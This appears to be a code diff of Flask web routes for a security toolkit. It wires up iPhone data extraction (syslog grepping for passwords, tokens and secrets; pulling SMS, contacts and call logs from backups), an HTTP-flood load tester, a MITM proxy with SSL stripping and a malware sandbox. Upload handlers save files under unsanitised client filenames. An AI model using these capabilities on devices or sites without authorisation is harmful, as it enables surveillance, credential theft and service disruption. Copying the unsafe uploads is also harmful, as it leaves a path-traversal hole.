||||
|
||||
|
||||
@iphone_exploit_bp.route('/syslog-grep', methods=['POST'])
|
||||
@login_required
|
||||
def syslog_grep():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
pattern = data.get('pattern', 'password|token|key|secret')
|
||||
duration = int(data.get('duration', 5))
|
||||
return jsonify(_get_mgr().syslog_grep(udid, pattern, duration=duration))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/crash-reports', methods=['POST'])
|
||||
@login_required
|
||||
def crash_reports():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().crash_reports(udid))
|
||||
|
||||
|
||||
# ── Apps ─────────────────────────────────────────────────────────
|
||||
|
||||
@iphone_exploit_bp.route('/apps/list', methods=['POST'])
|
||||
@login_required
|
||||
def list_apps():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
app_type = data.get('type', 'user')
|
||||
return jsonify(_get_mgr().list_apps(udid, app_type=app_type))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/apps/install', methods=['POST'])
|
||||
@login_required
|
||||
def install_app():
|
||||
udid = request.form.get('udid', '').strip()
|
||||
if not udid:
|
||||
return jsonify({'error': 'No UDID provided'})
|
||||
f = request.files.get('file')
|
||||
if not f:
|
||||
return jsonify({'error': 'No file uploaded'})
|
||||
from core.paths import get_uploads_dir
|
||||
upload_path = str(get_uploads_dir() / f.filename)
|
||||
f.save(upload_path)
|
||||
return jsonify(_get_mgr().install_app(udid, upload_path))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/apps/uninstall', methods=['POST'])
|
||||
@login_required
|
||||
def uninstall_app():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
bundle_id = data.get('bundle_id', '').strip()
|
||||
if not bundle_id:
|
||||
return jsonify({'error': 'No bundle_id provided'})
|
||||
return jsonify(_get_mgr().uninstall_app(udid, bundle_id))
|
||||
|
||||
|
||||
# ── Backup & Extraction ─────────────────────────────────────────
|
||||
|
||||
@iphone_exploit_bp.route('/backup/create', methods=['POST'])
|
||||
@login_required
|
||||
def backup_create():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
encrypted = data.get('encrypted', False)
|
||||
password = data.get('password', '')
|
||||
return jsonify(_get_mgr().create_backup(udid, encrypted=encrypted, password=password))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/backup/list', methods=['POST'])
|
||||
@login_required
|
||||
def backup_list():
|
||||
return jsonify(_get_mgr().list_backups())
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/backup/sms', methods=['POST'])
|
||||
@login_required
|
||||
def backup_sms():
|
||||
data = request.get_json(silent=True) or {}
|
||||
backup_path = data.get('backup_path', '').strip()
|
||||
if not backup_path:
|
||||
return jsonify({'error': 'No backup_path provided'})
|
||||
return jsonify(_get_mgr().extract_backup_sms(backup_path))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/backup/contacts', methods=['POST'])
|
||||
@login_required
|
||||
def backup_contacts():
|
||||
data = request.get_json(silent=True) or {}
|
||||
backup_path = data.get('backup_path', '').strip()
|
||||
if not backup_path:
|
||||
return jsonify({'error': 'No backup_path provided'})
|
||||
return jsonify(_get_mgr().extract_backup_contacts(backup_path))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/backup/calls', methods=['POST'])
|
||||
@login_required
|
||||
def backup_calls():
|
||||
data = request.get_json(silent=True) or {}
|
||||
backup_path = data.get('backup_path', '').strip()
|
||||
if not backup_path:
|
||||
return jsonify({'error': 'No backup_path provided'})
|
||||
return jsonify(_get_mgr().extract_backup_call_log(backup_path))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/backup/notes', methods=['POST'])
|
||||
@login_required
|
||||
def backup_notes():
|
||||
data = request.get_json(silent=True) or {}
|
||||
backup_path = data.get('backup_path', '').strip()
|
||||
if not backup_path:
|
||||
return jsonify({'error': 'No backup_path provided'})
|
||||
return jsonify(_get_mgr().extract_backup_notes(backup_path))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/backup/files', methods=['POST'])
|
||||
@login_required
|
||||
def backup_files():
|
||||
data = request.get_json(silent=True) or {}
|
||||
backup_path = data.get('backup_path', '').strip()
|
||||
if not backup_path:
|
||||
return jsonify({'error': 'No backup_path provided'})
|
||||
domain = data.get('domain', '')
|
||||
path_filter = data.get('path_filter', '')
|
||||
return jsonify(_get_mgr().list_backup_files(backup_path, domain=domain, path_filter=path_filter))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/backup/extract-file', methods=['POST'])
|
||||
@login_required
|
||||
def backup_extract_file():
|
||||
data = request.get_json(silent=True) or {}
|
||||
backup_path = data.get('backup_path', '').strip()
|
||||
file_hash = data.get('file_hash', '').strip()
|
||||
if not backup_path or not file_hash:
|
||||
return jsonify({'error': 'Missing backup_path or file_hash'})
|
||||
output_name = data.get('output_name') or None
|
||||
return jsonify(_get_mgr().extract_backup_file(backup_path, file_hash, output_name=output_name))
|
||||
|
||||
|
||||
# ── Filesystem ───────────────────────────────────────────────────
|
||||
|
||||
@iphone_exploit_bp.route('/fs/mount', methods=['POST'])
|
||||
@login_required
|
||||
def fs_mount():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().mount_filesystem(udid))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/fs/mount-app', methods=['POST'])
|
||||
@login_required
|
||||
def fs_mount_app():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
bundle_id = data.get('bundle_id', '').strip()
|
||||
if not bundle_id:
|
||||
return jsonify({'error': 'No bundle_id provided'})
|
||||
return jsonify(_get_mgr().mount_app_documents(udid, bundle_id))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/fs/unmount', methods=['POST'])
|
||||
@login_required
|
||||
def fs_unmount():
|
||||
data = request.get_json(silent=True) or {}
|
||||
mountpoint = data.get('mountpoint', '').strip()
|
||||
if not mountpoint:
|
||||
return jsonify({'error': 'No mountpoint provided'})
|
||||
_get_mgr().unmount_filesystem(mountpoint)
|
||||
return jsonify({'success': True, 'output': 'Unmounted'})
|
||||
|
||||
|
||||
# ── Profiles ─────────────────────────────────────────────────────
|
||||
|
||||
@iphone_exploit_bp.route('/profiles/list', methods=['POST'])
|
||||
@login_required
|
||||
def profiles_list():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().list_profiles(udid))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/profiles/install', methods=['POST'])
|
||||
@login_required
|
||||
def profiles_install():
|
||||
udid = request.form.get('udid', '').strip()
|
||||
if not udid:
|
||||
return jsonify({'error': 'No UDID provided'})
|
||||
f = request.files.get('file')
|
||||
if not f:
|
||||
return jsonify({'error': 'No file uploaded'})
|
||||
from core.paths import get_uploads_dir
|
||||
upload_path = str(get_uploads_dir() / f.filename)
|
||||
f.save(upload_path)
|
||||
return jsonify(_get_mgr().install_profile(udid, upload_path))
|
||||
|
||||
|
||||
@iphone_exploit_bp.route('/profiles/remove', methods=['POST'])
|
||||
@login_required
|
||||
def profiles_remove():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
profile_id = data.get('profile_id', '').strip()
|
||||
if not profile_id:
|
||||
return jsonify({'error': 'No profile_id provided'})
|
||||
return jsonify(_get_mgr().remove_profile(udid, profile_id))
|
||||
|
||||
|
||||
# ── Network ──────────────────────────────────────────────────────
|
||||
|
||||
@iphone_exploit_bp.route('/port-forward', methods=['POST'])
|
||||
@login_required
|
||||
def port_forward():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
local_port = data.get('local_port')
|
||||
device_port = data.get('device_port')
|
||||
if not local_port or not device_port:
|
||||
return jsonify({'error': 'Missing local_port or device_port'})
|
||||
return jsonify(_get_mgr().port_forward(udid, int(local_port), int(device_port)))
|
||||
|
||||
|
||||
# ── Recon ────────────────────────────────────────────────────────
|
||||
|
||||
@iphone_exploit_bp.route('/recon/export', methods=['POST'])
|
||||
@login_required
|
||||
def recon_export():
|
||||
udid, err = _get_udid()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().export_recon_report(udid))
|
||||
180
web/routes/llm_trainer.py
Normal file
180
web/routes/llm_trainer.py
Normal file
@@ -0,0 +1,180 @@
|
||||
"""LLM Trainer routes — dataset generation, fine-tuning, GGUF conversion."""
|
||||
|
||||
import json
|
||||
from flask import Blueprint, render_template, request, jsonify, Response, stream_with_context
|
||||
from web.auth import login_required
|
||||
|
||||
llm_trainer_bp = Blueprint('llm_trainer', __name__, url_prefix='/llm-trainer')
|
||||
|
||||
|
||||
def _get_trainer():
|
||||
from modules.llm_trainer import get_trainer
|
||||
return get_trainer()
|
||||
|
||||
|
||||
# ==================== PAGE ====================
|
||||
|
||||
@llm_trainer_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('llm_trainer.html')
|
||||
|
||||
|
||||
# ==================== DEPENDENCIES ====================
|
||||
|
||||
@llm_trainer_bp.route('/deps', methods=['POST'])
|
||||
@login_required
|
||||
def check_deps():
|
||||
"""Check training dependencies."""
|
||||
return jsonify(_get_trainer().check_dependencies())
|
||||
|
||||
|
||||
@llm_trainer_bp.route('/deps/install', methods=['POST'])
|
||||
@login_required
|
||||
def install_deps():
|
||||
"""Install training dependencies."""
|
||||
results = _get_trainer().install_dependencies()
|
||||
return jsonify({'results': results})
|
||||
|
||||
|
||||
# ==================== CODEBASE ====================
|
||||
|
||||
@llm_trainer_bp.route('/scan', methods=['POST'])
|
||||
@login_required
|
||||
def scan_codebase():
|
||||
"""Scan the AUTARCH codebase."""
|
||||
return jsonify(_get_trainer().scan_codebase())
|
||||
|
||||
|
||||
# ==================== DATASET ====================
|
||||
|
||||
@llm_trainer_bp.route('/dataset/generate', methods=['POST'])
|
||||
@login_required
|
||||
def generate_dataset():
|
||||
"""Generate training dataset from codebase."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_trainer().generate_dataset(
|
||||
format=data.get('format', 'sharegpt'),
|
||||
include_source=data.get('include_source', True),
|
||||
include_qa=data.get('include_qa', True),
|
||||
include_module_creation=data.get('include_module_creation', True),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@llm_trainer_bp.route('/dataset/list')
|
||||
@login_required
|
||||
def list_datasets():
|
||||
"""List generated datasets."""
|
||||
return jsonify({'datasets': _get_trainer().list_datasets()})
|
||||
|
||||
|
||||
@llm_trainer_bp.route('/dataset/preview', methods=['POST'])
|
||||
@login_required
|
||||
def preview_dataset():
|
||||
"""Preview samples from a dataset."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
filename = data.get('filename', '')
|
||||
limit = int(data.get('limit', 10))
|
||||
return jsonify(_get_trainer().preview_dataset(filename, limit))
|
||||
|
||||
|
||||
@llm_trainer_bp.route('/dataset/delete', methods=['POST'])
|
||||
@login_required
|
||||
def delete_dataset():
|
||||
"""Delete a dataset file."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
filename = data.get('filename', '')
|
||||
success = _get_trainer().delete_dataset(filename)
|
||||
return jsonify({'success': success})
|
||||
|
||||
|
||||
# ==================== MODEL BROWSER ====================
|
||||
|
||||
@llm_trainer_bp.route('/browse', methods=['POST'])
|
||||
@login_required
|
||||
def browse_models():
|
||||
"""Browse local directories for model files."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
directory = data.get('directory', '')
|
||||
return jsonify(_get_trainer().browse_models(directory))
|
||||
|
||||
|
||||
# ==================== TRAINING ====================
|
||||
|
||||
@llm_trainer_bp.route('/train/config')
|
||||
@login_required
|
||||
def get_training_config():
|
||||
"""Get default training configuration."""
|
||||
return jsonify(_get_trainer().get_training_config())
|
||||
|
||||
|
||||
@llm_trainer_bp.route('/train/start', methods=['POST'])
|
||||
@login_required
|
||||
def start_training():
|
||||
"""Start LoRA fine-tuning."""
|
||||
config = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_trainer().start_training(config))
|
||||
|
||||
|
||||
@llm_trainer_bp.route('/train/status')
|
||||
@login_required
|
||||
def training_status():
|
||||
"""Get training status and log."""
|
||||
return jsonify(_get_trainer().get_training_status())
|
||||
|
||||
|
||||
@llm_trainer_bp.route('/train/stop', methods=['POST'])
|
||||
@login_required
|
||||
def stop_training():
|
||||
"""Stop training."""
|
||||
success = _get_trainer().stop_training()
|
||||
return jsonify({'success': success})
|
||||
|
||||
|
||||
# ==================== CONVERSION ====================
|
||||
|
||||
@llm_trainer_bp.route('/adapters')
|
||||
@login_required
|
||||
def list_adapters():
|
||||
"""List saved LoRA adapters."""
|
||||
return jsonify({'adapters': _get_trainer().list_adapters()})
|
||||
|
||||
|
||||
@llm_trainer_bp.route('/convert', methods=['POST'])
|
||||
@login_required
|
||||
def merge_and_convert():
|
||||
"""Merge LoRA adapter and convert to GGUF."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
adapter_path = data.get('adapter_path', '')
|
||||
output_name = data.get('output_name', 'autarch_model')
|
||||
quantization = data.get('quantization', 'Q5_K_M')
|
||||
return jsonify(_get_trainer().merge_and_convert(adapter_path, output_name, quantization))
|
||||
|
||||
|
||||
@llm_trainer_bp.route('/models')
|
||||
@login_required
|
||||
def list_models():
|
||||
"""List GGUF models."""
|
||||
return jsonify({'models': _get_trainer().list_models()})
|
||||
|
||||
|
||||
# ==================== EVALUATION ====================
|
||||
|
||||
@llm_trainer_bp.route('/evaluate', methods=['POST'])
|
||||
@login_required
|
||||
def evaluate_model():
|
||||
"""Evaluate a GGUF model with test prompts."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
model_path = data.get('model_path', '')
|
||||
prompts = data.get('prompts', None)
|
||||
return jsonify(_get_trainer().evaluate_model(model_path, prompts))
|
||||
|
||||
|
||||
# ==================== STATUS ====================
|
||||
|
||||
@llm_trainer_bp.route('/status')
|
||||
@login_required
|
||||
def get_status():
|
||||
"""Get trainer status."""
|
||||
return jsonify(_get_trainer().get_status())
|
||||
144
web/routes/loadtest.py
Normal file
144
web/routes/loadtest.py
Normal file
@@ -0,0 +1,144 @@
|
||||
"""Load testing web routes — start/stop/monitor load tests from the web UI."""
|
||||
|
||||
import json
|
||||
import queue
|
||||
from flask import Blueprint, render_template, request, jsonify, Response
|
||||
from web.auth import login_required
|
||||
|
||||
loadtest_bp = Blueprint('loadtest', __name__, url_prefix='/loadtest')
|
||||
|
||||
|
||||
@loadtest_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('loadtest.html')
|
||||
|
||||
|
||||
@loadtest_bp.route('/start', methods=['POST'])
|
||||
@login_required
|
||||
def start():
|
||||
"""Start a load test."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
target = data.get('target', '').strip()
|
||||
if not target:
|
||||
return jsonify({'ok': False, 'error': 'Target is required'})
|
||||
|
||||
try:
|
||||
from modules.loadtest import get_load_tester
|
||||
tester = get_load_tester()
|
||||
|
||||
if tester.running:
|
||||
return jsonify({'ok': False, 'error': 'A test is already running'})
|
||||
|
||||
config = {
|
||||
'target': target,
|
||||
'attack_type': data.get('attack_type', 'http_flood'),
|
||||
'workers': int(data.get('workers', 10)),
|
||||
'duration': int(data.get('duration', 30)),
|
||||
'requests_per_worker': int(data.get('requests_per_worker', 0)),
|
||||
'ramp_pattern': data.get('ramp_pattern', 'constant'),
|
||||
'ramp_duration': int(data.get('ramp_duration', 0)),
|
||||
'method': data.get('method', 'GET'),
|
||||
'headers': data.get('headers', {}),
|
||||
'body': data.get('body', ''),
|
||||
'timeout': int(data.get('timeout', 10)),
|
||||
'follow_redirects': data.get('follow_redirects', True),
|
||||
'verify_ssl': data.get('verify_ssl', False),
|
||||
'rotate_useragent': data.get('rotate_useragent', True),
|
||||
'custom_useragent': data.get('custom_useragent', ''),
|
||||
'rate_limit': int(data.get('rate_limit', 0)),
|
||||
'payload_size': int(data.get('payload_size', 1024)),
|
||||
}
|
||||
|
||||
tester.start(config)
|
||||
return jsonify({'ok': True, 'message': 'Test started'})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@loadtest_bp.route('/stop', methods=['POST'])
|
||||
@login_required
|
||||
def stop():
|
||||
"""Stop the running load test."""
|
||||
try:
|
||||
from modules.loadtest import get_load_tester
|
||||
tester = get_load_tester()
|
||||
tester.stop()
|
||||
return jsonify({'ok': True})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@loadtest_bp.route('/pause', methods=['POST'])
|
||||
@login_required
|
||||
def pause():
|
||||
"""Pause the running load test."""
|
||||
try:
|
||||
from modules.loadtest import get_load_tester
|
||||
tester = get_load_tester()
|
||||
tester.pause()
|
||||
return jsonify({'ok': True})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@loadtest_bp.route('/resume', methods=['POST'])
|
||||
@login_required
|
||||
def resume():
|
||||
"""Resume a paused load test."""
|
||||
try:
|
||||
from modules.loadtest import get_load_tester
|
||||
tester = get_load_tester()
|
||||
tester.resume()
|
||||
return jsonify({'ok': True})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@loadtest_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
"""Get current test status and metrics."""
|
||||
try:
|
||||
from modules.loadtest import get_load_tester
|
||||
tester = get_load_tester()
|
||||
metrics = tester.metrics.to_dict() if tester.running else {}
|
||||
return jsonify({
|
||||
'running': tester.running,
|
||||
'paused': not tester._pause_event.is_set() if tester.running else False,
|
||||
'metrics': metrics,
|
||||
})
|
||||
except Exception as e:
|
||||
return jsonify({'running': False, 'error': str(e)})
|
||||
|
||||
|
||||
@loadtest_bp.route('/stream')
|
||||
@login_required
|
||||
def stream():
|
||||
"""SSE stream for live metrics."""
|
||||
try:
|
||||
from modules.loadtest import get_load_tester
|
||||
tester = get_load_tester()
|
||||
except Exception:
|
||||
return Response("data: {}\n\n", mimetype='text/event-stream')
|
||||
|
||||
sub = tester.subscribe()
|
||||
|
||||
def generate():
|
||||
try:
|
||||
while tester.running:
|
||||
try:
|
||||
data = sub.get(timeout=2)
|
||||
yield f"data: {json.dumps(data)}\n\n"
|
||||
except queue.Empty:
|
||||
# Send keepalive
|
||||
m = tester.metrics.to_dict() if tester.running else {}
|
||||
yield f"data: {json.dumps({'type': 'metrics', 'data': m})}\n\n"
|
||||
# Send final metrics
|
||||
m = tester.metrics.to_dict()
|
||||
yield f"data: {json.dumps({'type': 'done', 'data': m})}\n\n"
|
||||
finally:
|
||||
tester.unsubscribe(sub)
|
||||
|
||||
return Response(generate(), mimetype='text/event-stream',
|
||||
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
|
||||
82
web/routes/log_correlator.py
Normal file
82
web/routes/log_correlator.py
Normal file
@@ -0,0 +1,82 @@
|
||||
"""Log Correlator routes."""
|
||||
from flask import Blueprint, request, jsonify, render_template
|
||||
from web.auth import login_required
|
||||
|
||||
log_correlator_bp = Blueprint('log_correlator', __name__, url_prefix='/logs')
|
||||
|
||||
def _get_engine():
|
||||
from modules.log_correlator import get_log_correlator
|
||||
return get_log_correlator()
|
||||
|
||||
@log_correlator_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('log_correlator.html')
|
||||
|
||||
@log_correlator_bp.route('/ingest/file', methods=['POST'])
|
||||
@login_required
|
||||
def ingest_file():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_engine().ingest_file(data.get('path', ''), data.get('source')))
|
||||
|
||||
@log_correlator_bp.route('/ingest/text', methods=['POST'])
|
||||
@login_required
|
||||
def ingest_text():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_engine().ingest_text(data.get('text', ''), data.get('source', 'paste')))
|
||||
|
||||
@log_correlator_bp.route('/search')
|
||||
@login_required
|
||||
def search():
|
||||
return jsonify(_get_engine().search_logs(
|
||||
request.args.get('q', ''), request.args.get('source'),
|
||||
int(request.args.get('limit', 100))
|
||||
))
|
||||
|
||||
@log_correlator_bp.route('/alerts', methods=['GET', 'DELETE'])
|
||||
@login_required
|
||||
def alerts():
|
||||
if request.method == 'DELETE':
|
||||
_get_engine().clear_alerts()
|
||||
return jsonify({'ok': True})
|
||||
return jsonify(_get_engine().get_alerts(
|
||||
request.args.get('severity'), int(request.args.get('limit', 100))
|
||||
))
|
||||
|
||||
@log_correlator_bp.route('/rules', methods=['GET', 'POST', 'DELETE'])
|
||||
@login_required
|
||||
def rules():
|
||||
engine = _get_engine()
|
||||
if request.method == 'POST':
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(engine.add_rule(
|
||||
rule_id=data.get('id', ''), name=data.get('name', ''),
|
||||
pattern=data.get('pattern', ''), severity=data.get('severity', 'medium'),
|
||||
threshold=data.get('threshold', 1), window_seconds=data.get('window_seconds', 0),
|
||||
description=data.get('description', '')
|
||||
))
|
||||
elif request.method == 'DELETE':
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(engine.remove_rule(data.get('id', '')))
|
||||
return jsonify(engine.get_rules())
|
||||
|
||||
@log_correlator_bp.route('/stats')
|
||||
@login_required
|
||||
def stats():
|
||||
return jsonify(_get_engine().get_stats())
|
||||
|
||||
@log_correlator_bp.route('/sources')
|
||||
@login_required
|
||||
def sources():
|
||||
return jsonify(_get_engine().get_sources())
|
||||
|
||||
@log_correlator_bp.route('/timeline')
|
||||
@login_required
|
||||
def timeline():
|
||||
return jsonify(_get_engine().get_timeline(int(request.args.get('hours', 24))))
|
||||
|
||||
@log_correlator_bp.route('/clear', methods=['POST'])
|
||||
@login_required
|
||||
def clear():
|
||||
_get_engine().clear_logs()
|
||||
return jsonify({'ok': True})
|
||||
71
web/routes/malware_sandbox.py
Normal file
71
web/routes/malware_sandbox.py
Normal file
@@ -0,0 +1,71 @@
|
||||
"""Malware Sandbox routes."""
|
||||
import os
|
||||
from flask import Blueprint, request, jsonify, render_template, current_app
|
||||
from web.auth import login_required
|
||||
|
||||
malware_sandbox_bp = Blueprint('malware_sandbox', __name__, url_prefix='/sandbox')
|
||||
|
||||
def _get_sandbox():
|
||||
from modules.malware_sandbox import get_sandbox
|
||||
return get_sandbox()
|
||||
|
||||
@malware_sandbox_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('malware_sandbox.html')
|
||||
|
||||
@malware_sandbox_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
return jsonify(_get_sandbox().get_status())
|
||||
|
||||
@malware_sandbox_bp.route('/submit', methods=['POST'])
|
||||
@login_required
|
||||
def submit():
|
||||
sb = _get_sandbox()
|
||||
if request.content_type and 'multipart' in request.content_type:
|
||||
f = request.files.get('sample')
|
||||
if not f:
|
||||
return jsonify({'ok': False, 'error': 'No file uploaded'})
|
||||
upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp')
|
||||
filepath = os.path.join(upload_dir, f.filename)
|
||||
f.save(filepath)
|
||||
return jsonify(sb.submit_sample(filepath, f.filename))
|
||||
else:
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(sb.submit_sample(data.get('path', ''), data.get('name')))
|
||||
|
||||
@malware_sandbox_bp.route('/samples')
|
||||
@login_required
|
||||
def samples():
|
||||
return jsonify(_get_sandbox().list_samples())
|
||||
|
||||
@malware_sandbox_bp.route('/static', methods=['POST'])
|
||||
@login_required
|
||||
def static_analysis():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_sandbox().static_analysis(data.get('path', '')))
|
||||
|
||||
@malware_sandbox_bp.route('/dynamic', methods=['POST'])
|
||||
@login_required
|
||||
def dynamic_analysis():
|
||||
data = request.get_json(silent=True) or {}
|
||||
job_id = _get_sandbox().dynamic_analysis(data.get('path', ''), data.get('timeout', 60))
|
||||
return jsonify({'ok': bool(job_id), 'job_id': job_id})
|
||||
|
||||
@malware_sandbox_bp.route('/report', methods=['POST'])
|
||||
@login_required
|
||||
def generate_report():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_sandbox().generate_report(data.get('path', '')))
|
||||
|
||||
@malware_sandbox_bp.route('/reports')
|
||||
@login_required
|
||||
def reports():
|
||||
return jsonify(_get_sandbox().list_reports())
|
||||
|
||||
@malware_sandbox_bp.route('/job/<job_id>')
|
||||
@login_required
|
||||
def job_status(job_id):
|
||||
job = _get_sandbox().get_job(job_id)
|
||||
return jsonify(job or {'error': 'Job not found'})
|
||||
170
web/routes/mitm_proxy.py
Normal file
170
web/routes/mitm_proxy.py
Normal file
@@ -0,0 +1,170 @@
|
||||
"""MITM Proxy routes."""
|
||||
|
||||
from flask import Blueprint, request, jsonify, render_template, Response
|
||||
from web.auth import login_required
|
||||
|
||||
mitm_proxy_bp = Blueprint('mitm_proxy', __name__, url_prefix='/mitm-proxy')
|
||||
|
||||
|
||||
def _get_proxy():
|
||||
from modules.mitm_proxy import get_mitm_proxy
|
||||
return get_mitm_proxy()
|
||||
|
||||
|
||||
# ── Pages ────────────────────────────────────────────────────────────────
|
||||
|
||||
@mitm_proxy_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('mitm_proxy.html')
|
||||
|
||||
|
||||
# ── Proxy Lifecycle ──────────────────────────────────────────────────────
|
||||
|
||||
@mitm_proxy_bp.route('/start', methods=['POST'])
|
||||
@login_required
|
||||
def start():
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_proxy().start(
|
||||
listen_host=data.get('host', '127.0.0.1'),
|
||||
listen_port=int(data.get('port', 8888)),
|
||||
upstream_proxy=data.get('upstream', None),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@mitm_proxy_bp.route('/stop', methods=['POST'])
|
||||
@login_required
|
||||
def stop():
|
||||
return jsonify(_get_proxy().stop())
|
||||
|
||||
|
||||
@mitm_proxy_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
return jsonify(_get_proxy().get_status())
|
||||
|
||||
|
||||
# ── SSL Strip ────────────────────────────────────────────────────────────
|
||||
|
||||
@mitm_proxy_bp.route('/ssl-strip', methods=['POST'])
|
||||
@login_required
|
||||
def ssl_strip():
|
||||
data = request.get_json(silent=True) or {}
|
||||
enabled = data.get('enabled', True)
|
||||
return jsonify(_get_proxy().ssl_strip_mode(enabled))
|
||||
|
||||
|
||||
# ── Certificate Management ──────────────────────────────────────────────
|
||||
|
||||
@mitm_proxy_bp.route('/cert/generate', methods=['POST'])
|
||||
@login_required
|
||||
def cert_generate():
|
||||
return jsonify(_get_proxy().generate_ca_cert())
|
||||
|
||||
|
||||
@mitm_proxy_bp.route('/cert')
|
||||
@login_required
|
||||
def cert_download():
|
||||
result = _get_proxy().get_ca_cert()
|
||||
if not result.get('success'):
|
||||
return jsonify(result), 404
|
||||
# Return PEM as downloadable file
|
||||
return Response(
|
||||
result['pem'],
|
||||
mimetype='application/x-pem-file',
|
||||
headers={'Content-Disposition': 'attachment; filename=autarch-ca.pem'}
|
||||
)
|
||||
|
||||
|
||||
@mitm_proxy_bp.route('/certs')
|
||||
@login_required
|
||||
def cert_list():
|
||||
return jsonify({'certs': _get_proxy().get_certs()})
|
||||
|
||||
|
||||
# ── Rules ────────────────────────────────────────────────────────────────
|
||||
|
||||
@mitm_proxy_bp.route('/rules', methods=['POST'])
|
||||
@login_required
|
||||
def add_rule():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_proxy().add_rule(data))
|
||||
|
||||
|
||||
@mitm_proxy_bp.route('/rules/<int:rule_id>', methods=['DELETE'])
|
||||
@login_required
|
||||
def remove_rule(rule_id):
|
||||
return jsonify(_get_proxy().remove_rule(rule_id))
|
||||
|
||||
|
||||
@mitm_proxy_bp.route('/rules')
|
||||
@login_required
|
||||
def list_rules():
|
||||
return jsonify({'rules': _get_proxy().list_rules()})
|
||||
|
||||
|
||||
@mitm_proxy_bp.route('/rules/<int:rule_id>/toggle', methods=['POST'])
|
||||
@login_required
|
||||
def toggle_rule(rule_id):
|
||||
proxy = _get_proxy()
|
||||
for rule in proxy.list_rules():
|
||||
if rule['id'] == rule_id:
|
||||
if rule['enabled']:
|
||||
return jsonify(proxy.disable_rule(rule_id))
|
||||
else:
|
||||
return jsonify(proxy.enable_rule(rule_id))
|
||||
return jsonify({'success': False, 'error': f'Rule {rule_id} not found'}), 404
|
||||
|
||||
|
||||
# ── Traffic Log ──────────────────────────────────────────────────────────
|
||||
|
||||
@mitm_proxy_bp.route('/traffic')
|
||||
@login_required
|
||||
def get_traffic():
|
||||
limit = int(request.args.get('limit', 100))
|
||||
offset = int(request.args.get('offset', 0))
|
||||
filter_url = request.args.get('filter_url', None)
|
||||
filter_method = request.args.get('filter_method', None)
|
||||
filter_status = request.args.get('filter_status', None)
|
||||
return jsonify(_get_proxy().get_traffic(
|
||||
limit=limit, offset=offset,
|
||||
filter_url=filter_url, filter_method=filter_method,
|
||||
filter_status=filter_status,
|
||||
))
|
||||
|
||||
|
||||
@mitm_proxy_bp.route('/traffic/<int:traffic_id>')
|
||||
@login_required
|
||||
def get_request_detail(traffic_id):
|
||||
return jsonify(_get_proxy().get_request(traffic_id))
|
||||
|
||||
|
||||
